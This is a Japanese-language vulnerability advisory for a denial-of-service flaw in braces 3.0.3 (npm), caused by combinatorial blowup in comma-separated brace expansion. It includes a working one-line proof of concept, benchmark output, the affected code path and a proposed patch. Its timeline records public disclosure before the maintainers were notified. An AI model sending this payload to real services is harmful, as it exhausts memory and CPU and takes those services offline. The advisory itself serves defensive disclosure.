
パッケージ: braces (npm) バージョン: 3.0.3 (最新) 重大度: 高 (CVSS 7.5) CWE: CWE-400 制御されないリソース消費 ステータス: 未報告
注記: これは独立した発見です。CVE-2024-4068 は入力長の制限 (MAX_LENGTH=10000) に対応しましたが、カンマ区切りのブレースパターンによる組み合わせ爆発(出力爆発)は修正していません。CVE-2026-45149 は 別の パッケージ (
juliangruber/brace-expansion) に影響するものであり、micromatch/bracesには影響しません。
braces ライブラリは、カンマ区切りのブレース展開パターンを処理する際に、制御されないリソース消費によるサービス拒否 (DoS) に対して脆弱です。
わずか 110文字 の悪意のある入力により、ライブラリはメモリ内に 420万件 のアイテムを生成し、1.2GB以上 のRAMを消費して、CPUを 9〜30秒 (ハードウェアによって異なります) ブロックします。
これは CVE-2024-4068 に対する不完全な修正です。元のパッチは入力長を10,000文字に制限しましたが、カンマ区切り展開の組み合わせによる出力は制限しませんでした。
braces は micromatch の依存関係であり、micromatch は以下で使用されています:
ユーザー制御の入力を braces.expand() に渡すアプリケーションはすべて脆弱です。
lib/expand.js では、rangeLimit のガードは数値範囲 ({1..1000}) のみをチェックし、カンマ区切りパターン ({a,b}) はチェックしません:
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
append() 関数は、出力制限なしにすべての 2^N 通りの組み合わせを再帰的に配列へ構築します。
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
アイテム数は決定的です。タイミングとメモリ使用量はハードウェアによって異なります。
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] Conclusion:
- Input size: 110 characters (well within the 10,000 character limit)
- Memory consumption: >1.2GB
- CPU block time: ~10 seconds
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
組み合わせ爆発を防ぐために、lib/expand.js の各連結ステップに制限チェックを追加します。walk() 内の append 呼び出しを検証ヘルパーでラップします:
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
walk() 内の append() 呼び出しを queueLimit() に置き換えることで、連続するブレースと範囲の組み合わせが安全に制限されることを保証します。
| 日付 | イベント |
|---|---|
| 2026-07-17 | 脆弱性を発見 |
| 2026-07-21 | 公開開示 (責任ある開示はまだ開始されていません) |
cyeezy08 によって発見されました。
| 入力 (文字数) | 出力アイテム数 | 時間 (おおよそ) | メモリ (おおよそ) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | Crash/OOM | Timeout | OOM Kill |
| ファイル | 説明 |
|---|
poc_braces_dos.py | 動作するPoCスクリプト |
findings.md | 詳細な脆弱性分析 |
verdict.md | 確認とCVSSスコア |
disclosure-report.md | 提出可能なアドバイザリ |
patch.diff | lib/expand.js に対する修正提案 |
email-draft.txt | メンテナーへのメール下書き |